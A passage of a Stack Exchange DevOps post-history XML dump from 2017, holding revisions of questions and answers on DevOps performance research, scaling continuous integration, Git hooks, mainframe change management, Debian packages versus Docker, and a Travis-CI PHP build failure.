findings.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**How to do it**&#xD;&#xA;&#xD;&#xA;First, how to become a high-performing organization? There are a couple of books that talk about this, not enough space in this answer so I'll just link to them.&#xD;&#xA;&#xD;&#xA;* [Good to Great: Why Some Companies Make the Leap...And Others Don't][4] by Jim Collins&#xD;&#xA;* [The High-Velocity Edge: How Market Leaders Leverage Operational Excellence to Beat the Competition][5] by Steven Spear&#xD;&#xA;* [The New Economics for Industry, Government, Education][6] by W. Edwards Deming&#xD;&#xA;&#xD;&#xA;For software and IT organizations, one of the critical factors for becoming a high-performing organization is: **focus on quality and speed**.&#xD;&#xA;&#xD;&#xA;For example Ward Cunningham [explains Technical Debt][7] as all the things we allowed to be left unfixed. This is accepted by management because it always comes with a promise that it is going to be fixed when there is time.&#xD;&#xA;&#xD;&#xA;There is never enough time, and technical debt just becomes worse and worse.&#xD;&#xA;&#xD;&#xA;What are these things that cause technical debt to grow?&#xD;&#xA;&#xD;&#xA; * legacy code&#xD;&#xA; * manual configuration of environments&#xD;&#xA; * manual testing&#xD;&#xA; * manual deployments&#xD;&#xA;&#xD;&#xA;Legacy code As defined in [Working Effectively with Legacy Code][8] by Michael Feathers is any code that doesn't have automated testing.&#xD;&#xA;&#xD;&#xA;Any time shortcuts are used to get the code to production; the operations is burdened with the maintenance of this debt forever. Then the process of deployment becomes longer and longer.&#xD;&#xA;&#xD;&#xA;Gene tells a story in his presentation about a company who has six-week long deployments. Involving tens of thousands of extremely error prone tedious steps, tying up 400 people, and they would do this four times every year.&#xD;&#xA;&#xD;&#xA;One of the tenets of DevOps is that reliability comes from doing smaller deployments more frequently.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Example**&#xD;&#xA;&#xD;&#xA;* [Jon Jenkins at Velocity 2011][9]: Amazon are doing **15k deploys/day**&#xD;&#xA;* [Ken Exner at AWS Summit 2015][10]: Amazon are doing **136k deploys/day**&#xD;&#xA;&#xD;&#xA;According to Gene, the only thing that is changed across time in these high-performing organizations is the number of developers. So from the Amazon example, you could say that in four years they increased their deployments ten times just by adding more people.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This means that under certain conditions, with the right architecture, the right technical practices, the right cultural norms, developer productivity **can** scale as the number of developers is increased. And DevOps is definitely in the middle of all this.&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2015-state-devops-report&#xD;&#xA;  [2]: https://i.stack.imgur.com/6B9ta.png&#xD;&#xA;  [3]: https://vimeo.com/165186982&#xD;&#xA;  [4]: https://www.amazon.com/dp/B0058DRUV6&#xD;&#xA;  [5]: https://www.amazon.com/dp/B003GIPEC2&#xD;&#xA;  [6]: https://www.amazon.com/dp/B004ZK8RTM&#xD;&#xA;  [7]: http://wiki.c2.com/?WardExplainsDebtMetaphor&#xD;&#xA;  [8]: https://www.amazon.com/dp/0131177052/&#xD;&#xA;  [9]: https://www.youtube.com/watch?v=dxk8b9rSKOo&#xD;&#xA;  [10]: https://www.youtube.com/watch?v=YCrhemssYuI" ContentLicense="CC BY-SA 3.0" />
  <row Id="776" PostHistoryTypeId="5" PostId="264" RevisionGUID="d64ede19-caa0-448f-9654-ce391600223d" CreationDate="2017-03-03T05:49:07.417" UserId="6" Comment="add a comment regarding the videos about Amazon" Text="**Possibility to mitigate the MMM**&#xD;&#xA;&#xD;&#xA;In 2015, PuppetLabs and IT Revolution published the results of the [2015 State of DevOps Report][1]. In that report, they focussed on the distinction between high performing organizations vs. non-high performing.&#xD;&#xA;&#xD;&#xA;The high-performing organizations show some unexpected properties. For example, they have the best project due-date performance in development. Best operational stability and reliability in operations. As well as the best security and compliance track record.&#xD;&#xA;&#xD;&#xA;One of the surprising things highlighted in the report is the deployments per day metric. But not just deployments per day, they also measured deploy/day/developer and what is the effect of adding more developers in high-performing organizations vs. non-high performing.&#xD;&#xA;&#xD;&#xA;This is the graph from that report -&#xD;&#xA;&#xD;&#xA;[![Deployments per Day per Developer][2]][2]&#xD;&#xA;&#xD;&#xA;While low-performing organizations align with Mythical Man Month assumptions. The high-performing organizations can scale the number of deploy/day/dev linearly with the number of developers.&#xD;&#xA;&#xD;&#xA;An excellent presentation at [DevOpsDays London 2016][3] by Gene Kim talks about these findings.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**How to do it**&#xD;&#xA;&#xD;&#xA;First, how to become a high-performing organization? There are a couple of books that talk about this, not enough space in this answer so I'll just link to them.&#xD;&#xA;&#xD;&#xA;* [Good to Great: Why Some Companies Make the Leap...And Others Don't][4] by Jim Collins&#xD;&#xA;* [The High-Velocity Edge: How Market Leaders Leverage Operational Excellence to Beat the Competition][5] by Steven Spear&#xD;&#xA;* [The New Economics for Industry, Government, Education][6] by W. Edwards Deming&#xD;&#xA;&#xD;&#xA;For software and IT organizations, one of the critical factors for becoming a high-performing organization is: **focus on quality and speed**.&#xD;&#xA;&#xD;&#xA;For example Ward Cunningham [explains Technical Debt][7] as all the things we allowed to be left unfixed. This is accepted by management because it always comes with a promise that it is going to be fixed when there is time.&#xD;&#xA;&#xD;&#xA;There is never enough time, and technical debt just becomes worse and worse.&#xD;&#xA;&#xD;&#xA;What are these things that cause technical debt to grow?&#xD;&#xA;&#xD;&#xA; * legacy code&#xD;&#xA; * manual configuration of environments&#xD;&#xA; * manual testing&#xD;&#xA; * manual deployments&#xD;&#xA;&#xD;&#xA;Legacy code As defined in [Working Effectively with Legacy Code][8] by Michael Feathers is any code that doesn't have automated testing.&#xD;&#xA;&#xD;&#xA;Any time shortcuts are used to get the code to production; the operations is burdened with the maintenance of this debt forever. Then the process of deployment becomes longer and longer.&#xD;&#xA;&#xD;&#xA;Gene tells a story in his presentation about a company who has six-week long deployments. Involving tens of thousands of extremely error prone tedious steps, tying up 400 people, and they would do this four times every year.&#xD;&#xA;&#xD;&#xA;One of the tenets of DevOps is that reliability comes from doing smaller deployments more frequently.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Example**&#xD;&#xA;&#xD;&#xA; * [Jon Jenkins at Velocity 2011][9]: Amazon are doing **15k deploys/day**&#xD;&#xA; * [Ken Exner at AWS Summit 2015][10]: Amazon are doing **136k deploys/day**&#xD;&#xA;&#xD;&#xA;These two presentations show all the things that Amazon did to decrease the time it takes them to deploy code to production.&#xD;&#xA;&#xD;&#xA;According to Gene, the only thing that is changed across time in these high-performing organizations is the number of developers. So from the Amazon example, you could say that in four years they increased their deployments ten times just by adding more people.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This means that under certain conditions, with the right architecture, the right technical practices, the right cultural norms, developer productivity **can** scale as the number of developers is increased. And DevOps is definitely in the middle of all this.&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2015-state-devops-report&#xD;&#xA;  [2]: https://i.stack.imgur.com/6B9ta.png&#xD;&#xA;  [3]: https://vimeo.com/165186982&#xD;&#xA;  [4]: https://www.amazon.com/dp/B0058DRUV6&#xD;&#xA;  [5]: https://www.amazon.com/dp/B003GIPEC2&#xD;&#xA;  [6]: https://www.amazon.com/dp/B004ZK8RTM&#xD;&#xA;  [7]: http://wiki.c2.com/?WardExplainsDebtMetaphor&#xD;&#xA;  [8]: https://www.amazon.com/dp/0131177052/&#xD;&#xA;  [9]: https://www.youtube.com/watch?v=dxk8b9rSKOo&#xD;&#xA;  [10]: https://www.youtube.com/watch?v=YCrhemssYuI" ContentLicense="CC BY-SA 3.0" />
  <row Id="777" PostHistoryTypeId="5" PostId="258" RevisionGUID="0c379d51-52ab-4ce3-8f4d-426da5374f8a" CreationDate="2017-03-03T06:02:58.173" UserId="46" Comment="Added relevant tags" Text="I am using AWS Code Pipeline, Code Build to create a new Docker container and push it to ECR.&#xD;&#xA;&#xD;&#xA;My application is a simple straight-forward single-container based. What would be less friction approach to pull down current running Container and re-launch a new Container from the ECS registry (output of Code Build thru Code Pipeline).&#xD;&#xA;&#xD;&#xA;I tried CloudFormation with EC2 user data, custom scripts on one side and CloudFormation with ECS with task definition on the other side (not successful yet). I strongly feel there must be more obvious and simpler approach." ContentLicense="CC BY-SA 3.0" />
  <row Id="778" PostHistoryTypeId="6" PostId="258" RevisionGUID="0c379d51-52ab-4ce3-8f4d-426da5374f8a" CreationDate="2017-03-03T06:02:58.173" UserId="46" Comment="Added relevant tags" Text="&lt;continuous-integration&gt;&lt;containers&gt;&lt;continuous-delivery&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="779" PostHistoryTypeId="24" PostId="258" RevisionGUID="0c379d51-52ab-4ce3-8f4d-426da5374f8a" CreationDate="2017-03-03T06:02:58.173" Comment="Proposed by 46 approved by 6, 246 edit id of 72" ContentLicense="CC BY-SA 3.0" />
  <row Id="780" PostHistoryTypeId="2" PostId="265" RevisionGUID="728ed3ca-956b-43cc-a290-ccd11685abeb" CreationDate="2017-03-03T06:18:09.543" UserId="47" Text="Traditionally CI systems only monitor the quality of the code in an integration branch, signalling when regressions occur. Human intervention is required for repairs.&#xD;&#xA;&#xD;&#xA;As the number of developers working on the same branch increases the risk of breakages/blockages increases. Eventually a point is reached where on average by the time a breakage is fixed a new one appears - progress on the branch becoming effectively neglijible.&#xD;&#xA;&#xD;&#xA;Splitting into multiple teams each working on a separate integration branch which would be merged at a later moment *might* help, but greatly extends the project duration, since it simply delays the necessary integration for a later moment while adding churn/noise/technical dept related to the partial integration from individual branch merges. Costs also increase due to CI setups for each of the branches, each with their own buid/QA resources, etc. And overal quality is not necessarily better.&#xD;&#xA;&#xD;&#xA;Scalability is, at best, dubious.&#xD;&#xA;&#xD;&#xA;Is there a method for making such large projects actually scale?" ContentLicense="CC BY-SA 3.0" />
  <row Id="781" PostHistoryTypeId="1" PostId="265" RevisionGUID="728ed3ca-956b-43cc-a290-ccd11685abeb" CreationDate="2017-03-03T06:18:09.543" UserId="47" Text="How can continuous integration scale for very large projects/teams?" ContentLicense="CC BY-SA 3.0" />
  <row Id="782" PostHistoryTypeId="3" PostId="265" RevisionGUID="728ed3ca-956b-43cc-a290-ccd11685abeb" CreationDate="2017-03-03T06:18:09.543" UserId="47" Text="&lt;continuous-integration&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="783" PostHistoryTypeId="5" PostId="158" RevisionGUID="3398d283-8ba6-456b-b0b5-01b945e312f7" CreationDate="2017-03-03T06:44:01.433" UserId="6" Comment="remove a link that hides the place where a code should be" Text="Most of the AWS SDKs mentioned support constructing a custom endpoint, for example as described [here for Node.JS][1].&#xD;&#xA;&#xD;&#xA;Setting the endpoint to `storage.googleapis.com` and using your GCP access credentials should enable you to operate the Google storage backend service &quot;like S3&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSJavaScriptSDK/latest/AWS/Endpoint.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="784" PostHistoryTypeId="2" PostId="266" RevisionGUID="77d778dc-1cd5-45f3-b89b-b79057a8cf2f" CreationDate="2017-03-03T06:45:45.623" UserId="246" Text="For question #1)&#xD;&#xA;&#xD;&#xA; I think this could perhaps be better answered on SoftwareEngineering SE. &#xD;&#xA;&#xD;&#xA;Nonetheless, I'll risk an answer: for this kind of information (states) coming from that kind of architecture (distributed), I recommend event sourcing. It removes the complexity and many headaches that come with the nature of distributed systems if someone try to use traditional database paradigms.&#xD;&#xA;&#xD;&#xA;For question #2: both would work. To know what is better and cheaper we'll need to know more about your use case." ContentLicense="CC BY-SA 3.0" />
  <row Id="785" PostHistoryTypeId="2" PostId="267" RevisionGUID="0307f748-fc27-49c6-b0b3-e2a1386a5942" CreationDate="2017-03-03T06:47:58.527" UserId="47" Text="Using continuous integration represents an (almost) mandatory requirement for a sw project to be agile. And without CI there can be no continuous delivery/deployment.&#xD;&#xA;&#xD;&#xA;But CI can face scalability challenges, see http://devops.stackexchange.com/questions/265/how-can-continuous-integration-scale-for-very-large-projects-teams.&#xD;&#xA;&#xD;&#xA;Splitting work on multiple smaller pre-integration branches would allow work on those branches to be agile, but then merging of those pre-integration branches needs to be handled. And those would be massive, unpredictable merges, rather difficult to plan and incorporate into an Agile framework. Until the merge is *actually* performed one can't really tell if it'll take 2 hours, 2 days or 2 entire sprints to complete.&#xD;&#xA;&#xD;&#xA;So how can Agile methodologies still be applied to massive, monolithic sw projects with 100s/1000s of developers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="786" PostHistoryTypeId="1" PostId="267" RevisionGUID="0307f748-fc27-49c6-b0b3-e2a1386a5942" CreationDate="2017-03-03T06:47:58.527" UserId="47" Text="How can Agile methodologies, CI/CD be applied to massive, monolithic sw projects with 100s/1000s of developers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="787" PostHistoryTypeId="3" PostId="267" RevisionGUID="0307f748-fc27-49c6-b0b3-e2a1386a5942" CreationDate="2017-03-03T06:47:58.527" UserId="47" Text="&lt;continuous-integration&gt;&lt;agile&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="788" PostHistoryTypeId="2" PostId="268" RevisionGUID="491d8eb3-6bf6-4287-9cb2-7900e7062752" CreationDate="2017-03-03T06:54:55.210" UserId="47" Text="Traditionally CI systems only perform **monitoring** of the quality levels in an integration branch, watching for regressions and sending notifications for human intervention.&#xD;&#xA;&#xD;&#xA;Is there a CI tool capable of actually **preventing** such regressions, thus guaranteeing a minimum branch quality level?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="789" PostHistoryTypeId="1" PostId="268" RevisionGUID="491d8eb3-6bf6-4287-9cb2-7900e7062752" CreationDate="2017-03-03T06:54:55.210" UserId="47" Text="Is there a CI tool that guarantees no regressions in the branch quality level?" ContentLicense="CC BY-SA 3.0" />
  <row Id="790" PostHistoryTypeId="3" PostId="268" RevisionGUID="491d8eb3-6bf6-4287-9cb2-7900e7062752" CreationDate="2017-03-03T06:54:55.210" UserId="47" Text="&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="791" PostHistoryTypeId="4" PostId="254" RevisionGUID="807425b5-0c03-40d3-8255-97142e41439e" CreationDate="2017-03-03T06:57:25.950" UserId="246" Comment="I changed the title to reflect that you seem interested in limiting access to your EC2 instances, regardless of how it may be done" Text="How to only allow API Gateway requests to reach our EC2 instances" ContentLicense="CC BY-SA 3.0" />
  <row Id="792" PostHistoryTypeId="6" PostId="254" RevisionGUID="807425b5-0c03-40d3-8255-97142e41439e" CreationDate="2017-03-03T06:57:25.950" UserId="246" Comment="I changed the title to reflect that you seem interested in limiting access to your EC2 instances, regardless of how it may be done" Text="&lt;amazon-web-services&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="793" PostHistoryTypeId="2" PostId="269" RevisionGUID="28521903-d760-4ad9-b44d-98916a80317f" CreationDate="2017-03-03T06:57:53.743" UserId="154" Text="True continuous integration tools (as opposed to just continuous testing) like Reitveld and Zuul can help, though they are only as good as the tests you write and code reviews you do. " ContentLicense="CC BY-SA 3.0" />
  <row Id="794" PostHistoryTypeId="2" PostId="270" RevisionGUID="0dbf8d98-e9a4-4a57-97e0-8fdff340bc87" CreationDate="2017-03-03T07:10:16.173" UserId="246" Text="The best protection for your servers if you don't want to expose their HTTPS to the world would be to isolate them in [a VPC][1].&#xD;&#xA;&#xD;&#xA;However, API Gateway can't be configured to directly interact with servers in a VPC/subnet (yet). In order to get around that limitation, you can proxy your traffic from the API Gateway through AWS Lambda to reach the VPC. AWS blog has an [excellent blog post][2] that explains exactly how to do so.&#xD;&#xA;&#xD;&#xA;Isolating your servers in a VPC will be more secure than keeping them on the public Internet and trying to build something to detect if the traffic is legitimate (coming from API gateway).&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/vpc/&#xD;&#xA;  [2]: https://aws.amazon.com/blogs/compute/using-api-gateway-with-vpc-endpoints-via-aws-lambda/" ContentLicense="CC BY-SA 3.0" />
  <row Id="796" PostHistoryTypeId="11" PostId="230" RevisionGUID="8cd7045c-0328-4f0e-8668-f95764b68341" CreationDate="2017-03-03T09:02:32.987" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;},{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:460,&quot;DisplayName&quot;:&quot;THelper&quot;}]}" />
  <row Id="801" PostHistoryTypeId="2" PostId="272" RevisionGUID="ff73cbb1-1e0b-4b6d-8a0e-d7cc323f19d3" CreationDate="2017-03-03T10:13:25.227" UserId="14" Text="As far as I can tell, you're looking for a tool that will **reject** commits that break the build—a CI tool probably won't be able to prevent regressions by actually fixing your code, but it can stop you from adding bad code to the repository.&#xD;&#xA;&#xD;&#xA;[Atlassian has a few interesting applications of Git hooks](https://www.atlassian.com/continuous-delivery/git-hooks-continuous-integration):&#xD;&#xA;&#xD;&#xA;&gt; Server-side pre-receive hooks are an especially powerful compliment to continuous integration because they can prevent developers from pushing code to master, unless the code meets certain conditions – like elite ninja guardians, protecting it from bad code.&#xD;&#xA;&#xD;&#xA;If you're using Git, the hooks are **very** powerful (and there are similar hooks for [SVN](http://svnbook.red-bean.com/nightly/en/svn.reposadmin.create.html), [Mercurial](http://hgbook.red-bean.com/read/handling-repository-events-with-hooks.html) and other version control systems), and you might find it useful to use them to run pre-commit checks.&#xD;&#xA;&#xD;&#xA;The Git documentation [has a page on creating a hook to reject pushes if they don't meet a certain criteria](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy) which could easily be adapted to this use-case.&#xD;&#xA;&#xD;&#xA;However, a lot of people would argue that rejecting commits [is a bad idea](http://softwareengineering.stackexchange.com/questions/294228/automatically-reverting-commits-that-fail-the-build) on a `feature` branch—you'll just be wasting time fighting against your CI system when the build breaks for some reason, instead of actually fixing the bug. &#xD;&#xA;&#xD;&#xA;On the `master` branch, it could make sense to reject broken merges, because you might want to ensure it always builds. For a `feature` branch, you **will** inevitably break things, and since the code isn't going into production **now**, it makes more sense just to warn you than actually reject your commit altogether." ContentLicense="CC BY-SA 3.0" />
  <row Id="802" PostHistoryTypeId="2" PostId="273" RevisionGUID="aca9f536-3053-481c-9802-89f197d28254" CreationDate="2017-03-03T10:39:09.883" UserId="40" Text="Imagine a company using mainframes to run (part of) their (often mission critical) business applications, and using [z/OS][1] (also known as [OS/390][2], or [MVS][3]).&#xD;&#xA;&#xD;&#xA;What are the typical softwares they use to facilitate Software Change and Configuration management, for software that is deployed/used on those mainframes?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Z/OS&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/OS/390&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/MVS" ContentLicense="CC BY-SA 3.0" />
  <row Id="803" PostHistoryTypeId="1" PostId="273" RevisionGUID="aca9f536-3053-481c-9802-89f197d28254" CreationDate="2017-03-03T10:39:09.883" UserId="40" Text="Which SCM solutions exist for managing mainframe software?" ContentLicense="CC BY-SA 3.0" />
  <row Id="804" PostHistoryTypeId="3" PostId="273" RevisionGUID="aca9f536-3053-481c-9802-89f197d28254" CreationDate="2017-03-03T10:39:09.883" UserId="40" Text="&lt;scm&gt;&lt;mainframe&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="805" PostHistoryTypeId="2" PostId="274" RevisionGUID="cf6f8e9b-5853-4b4e-b76b-aede825815d2" CreationDate="2017-03-03T10:40:08.113" UserId="271" Text="First, while **Docker** is sometimes seen and used as a *ad hoc* packaging system, it actually solves a totally different problem: **Docker** is about *running* programs. The **Docker** system allows to describe *services,* that can be *scaled* at will and to control *swarms* of containers. **Debian packages** are for installing programs and they are able to handle *dependencies* between software versions.  **Docker** certainly don't qualify as a descent packaging system: each “package” can only have one dependency, the system has no “recursive build” option and does not support complex version constraints!&#xD;&#xA;&#xD;&#xA;A possible answer would be that, if you are willing to write a **Debian package** for your application, you can also use **Docker** to deploy your application.  This can be achieved with a configuration script `apt_setup.sh` which would look like&#xD;&#xA;&#xD;&#xA;    apt-key add - &lt;&lt;EOF&#xD;&#xA;    -----BEGIN PGP PUBLIC KEY BLOCK-----&#xD;&#xA;    &lt;YOUR RELEASE OFFICER PGP KEY GOES HERE&gt;&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    cat &gt;&gt; /etc/apt/sources.list &lt;&lt;EOF&#xD;&#xA;    deb https://my.organisation.org/repo debian-jessie main&#xD;&#xA;    apt-get update -y&#xD;&#xA;    apt-get upgrade -y&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;and a `Dockerfile` along the lines of&#xD;&#xA;&#xD;&#xA;    ADD apt_setup.sh /root&#xD;&#xA;    RUN sh -ex /root/apt_setup.sh &amp;&amp; rm /root/apt_setup.sh&#xD;&#xA;    RUN apt-get install -y my-node-js-package&#xD;&#xA;&#xD;&#xA;(In your specific situation, the `apt_setup.sh` would be more complicated, adding the *nodesource* repositories and some helper packages such as *apt-transport-https*.)&#xD;&#xA;&#xD;&#xA;It is therefore really possible to use **Debian packages** and **Docker** simultaneously, however …&#xD;&#xA;&#xD;&#xA;&gt; My gut […] is telling me that if deb packages were a good fit, it would be more common&#xD;&#xA;&#xD;&#xA;This is a correct hitch which leads us to ask ourselves why **Docker** proves to be popular as a *ad hoc* packaging system, while it is not intended to be one. (See above.)&#xD;&#xA;&#xD;&#xA;The “official” packaging system from a given distribution is just a possibility among many others to install software in some computing environment. There are many other sources available, like community-specific package managers such as **npm** or **opam,** port trees like **pkgsrc** and plain source code distribution.  From this perspective, it is easy to understand the success of **Docker** as an *ad hoc* packaging system:&#xD;&#xA;&#xD;&#xA;- **Docker** specifications are very close from a shell script and whatever source it comes from, we install software using the shell.&#xD;&#xA;&#xD;&#xA;- **Docker** has a “built-in” (paying) service for hosting artefacts it produces, the **Docker Hub**.&#xD;&#xA;&#xD;&#xA;Now what are the strength of **Debian packages** over **Docker images** as a package system? The tight control over dependencies at installation. (The possibility to upgrade and downgrade also exists but has no practical importance if we are implementing the [tag:immutable-server] pattern.) This leads to the&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Conclusion&#xD;&#xA;&#xD;&#xA;If you only have a single product deployed in a single version (which is typical for SaaS), your version management needs are very simple and using **Docker** as a *ad hoc* package manager should not have any hard drawbacks.  As soon as you work with several versions of a single product or several products, the complexity of the version constraints problem you need to solve increases and you need an appropriate tool for this, which might be **Debian packages** or some configuration management system if you are mixing software from different origins." ContentLicense="CC BY-SA 3.0" />
  <row Id="806" PostHistoryTypeId="2" PostId="275" RevisionGUID="c9cbe68c-4691-4367-8cbd-730a9a5d5902" CreationDate="2017-03-03T10:41:44.530" UserId="40" Text="From my own experience, these are some the typical softwares packages:&#xD;&#xA;&#xD;&#xA;- CA Endevor.&#xD;&#xA;- SERENA ChangeMan ZMF.&#xD;&#xA;- ISPW.&#xD;&#xA;- SCLM." ContentLicense="CC BY-SA 3.0" />
  <row Id="807" PostHistoryTypeId="2" PostId="276" RevisionGUID="a11f9379-60b1-4b21-a0d0-b693e4009ee5" CreationDate="2017-03-03T10:44:59.350" UserId="460" Text="Yes, but it's by preventing the things you mention in your question as much as possible. &#xD;&#xA;You are right that there are only so much developers that can work on the same code before things become unmanageable. You need someone or something that has an overview of all changes and makes sure integration works fine and regression doesn't occur. This is hard to scale if everything happens in one repository.&#xD;&#xA;&#xD;&#xA;Before starting any work you need to separate functionality in such a way that things can be integrated later with little or no effort.&#xD;&#xA;This means that you want to split functionality into parts that are independent, or at least as have as little dependencies as possible.&#xD;&#xA;How you do this depends very much on the product you are developing. In the past separation of functionality was done by creating different libraries. The downside to this is that you need a good method of managing those libraries. Old versions of Windows for example had a bad library management system which caused the infamous [DLL Hell](https://en.wikipedia.org/wiki/DLL_Hell).&#xD;&#xA;Nowadays micro-services is (becoming) a popular way to do this, although this also has it's drawbacks (e.g. communication overhead, more services to monitoring) &#xD;&#xA;&#xD;&#xA;If separation based on functionality is difficult, another option may be to separate development in time. Instead of multiple teams working simultaneously on different features, you have 1 team that works on only 1 or a few features at a time.&#xD;&#xA;&#xD;&#xA;When separation of work is not possible, you'll need tools and tests that make sure things align. Automated unit and integration testing can be a big help here, but ultimately there will be limits to how big a project or team is to be workable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="808" PostHistoryTypeId="5" PostId="275" RevisionGUID="38b943e4-d79c-4f56-aaca-6d673e28ac65" CreationDate="2017-03-03T10:45:32.390" UserId="40" Comment="added 306 characters in body" Text="From my own experience, these are some the typical softwares packages:&#xD;&#xA;&#xD;&#xA;- [CA Endevor][1].&#xD;&#xA;- [SERENA ChangeMan ZMF][2].&#xD;&#xA;- [Compuware ISPW][3].&#xD;&#xA;- [IBM SCLM][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Endevor&#xD;&#xA;  [2]: http://serena.com/products/changeman-zmf/index.html&#xD;&#xA;  [3]: http://www.compuware.com/en_us/use-cases/source-code-management.html&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/IBM_Software_Configuration_and_Library_Manager" ContentLicense="CC BY-SA 3.0" />
  <row Id="809" PostHistoryTypeId="2" PostId="277" RevisionGUID="303e2be6-eb93-4977-b323-a336ddc90829" CreationDate="2017-03-03T11:04:24.523" UserId="466" Text="I am trying to integrate my project coded in core **PHP**, with **Travis-CI** but its always got fail.&#xD;&#xA;&#xD;&#xA;It's getting fail to even when i have only one file in my project.&#xD;&#xA;&#xD;&#xA;## PHP file Code :&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    &#xD;&#xA;    phpinfo();&#xD;&#xA;    &#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;##`.travis.yml` File Code&#xD;&#xA;&#xD;&#xA;    language: php&#xD;&#xA;    php:&#xD;&#xA;      - '5.4'&#xD;&#xA;      - '5.5'&#xD;&#xA;      - '5.6'&#xD;&#xA;      - '7.0'&#xD;&#xA;      - '7.1'&#xD;&#xA;      - hhvm&#xD;&#xA;      - nightly&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="810" PostHistoryTypeId="1" PostId="277" RevisionGUID="303e2be6-eb93-4977-b323-a336ddc90829" CreationDate="2017-03-03T11:04:24.523" UserId="466" Text="Problem in Integrating Travis-CI with core PHP projects" ContentLicense="CC BY-SA 3.0" />
  <row Id="811" PostHistoryTypeId="3" PostId="277" RevisionGUID="303e2be6-eb93-4977-b323-a336ddc90829" CreationDate="2017-03-03T11:04:24.523" UserId="466" Text="&lt;continuous-integration&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="812" PostHistoryTypeId="5" PostId="277" RevisionGUID="f37848aa-56e7-4e03-969b-905afbdc81ae" CreationDate="2017-03-03T11:16:40.593" UserId="466" Comment="added 88 characters in body" Text="I am trying to integrate my project coded in core **PHP**, with **Travis-CI** but its always got fail.&#xD;&#xA;&#xD;&#xA;It's getting fail to even when i have only one file in my project.&#xD;&#xA;&#xD;&#xA;## PHP file Code :&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    &#xD;&#xA;    phpinfo();&#xD;&#xA;    &#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;##`.travis.yml` File Code&#xD;&#xA;&#xD;&#xA;    language: php&#xD;&#xA;    php:&#xD;&#xA;      - '5.4'&#xD;&#xA;      - '5.5'&#xD;&#xA;      - '5.6'&#xD;&#xA;      - '7.0'&#xD;&#xA;      - '7.1'&#xD;&#xA;      - hhvm&#xD;&#xA;      - nightly&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;## Travis-CI Job Reports&#xD;&#xA;https://travis-ci.org/hackerfrog/Test-CI/builds/207324547&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="813" PostHistoryTypeId="2" PostId="278" RevisionGUID="659fa506-3548-45fd-9b1d-2fa017ef82ec" CreationDate="2017-03-03T11:20:59.370" UserId="14" Text="You need to write some unit tests and set the `script` variable in your `.travis.yml` to actually run a file.&#xD;&#xA;&#xD;&#xA;By default, Travis CI runs the command `phpunit` without any arguments. When this happens, `phpunit` doesn't know what you're asking it to do, and shows a help message, then exits with error code 2 (i.e. **non-zero**, which indicates an error occurred).&#xD;&#xA;&#xD;&#xA;The [Beginner's Guide](https://docs.travis-ci.com/user/for-beginners) shows you a possible solution of setting the `script` variable to run a `Test.php` file with your tests in (insert this into your `.travis.yml`):&#xD;&#xA;&#xD;&#xA;    script: phpunit Test.php&#xD;&#xA;&#xD;&#xA;There is an example of a valid `Test.php` in the [example repo](https://github.com/plaindocs/travis-broken-example/blob/master/Test.php) that Travis provides:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        class Test extends PHPUnit_Framework_TestCase&#xD;&#xA;        {&#xD;&#xA;	        public function testOnePlusOne() {&#xD;&#xA;		        $this-&gt;assertEquals(1+1,1);&#xD;&#xA;  	        }&#xD;&#xA;        }&#xD;&#xA;    ?&gt;" ContentLicense="CC BY-SA 3.0" />
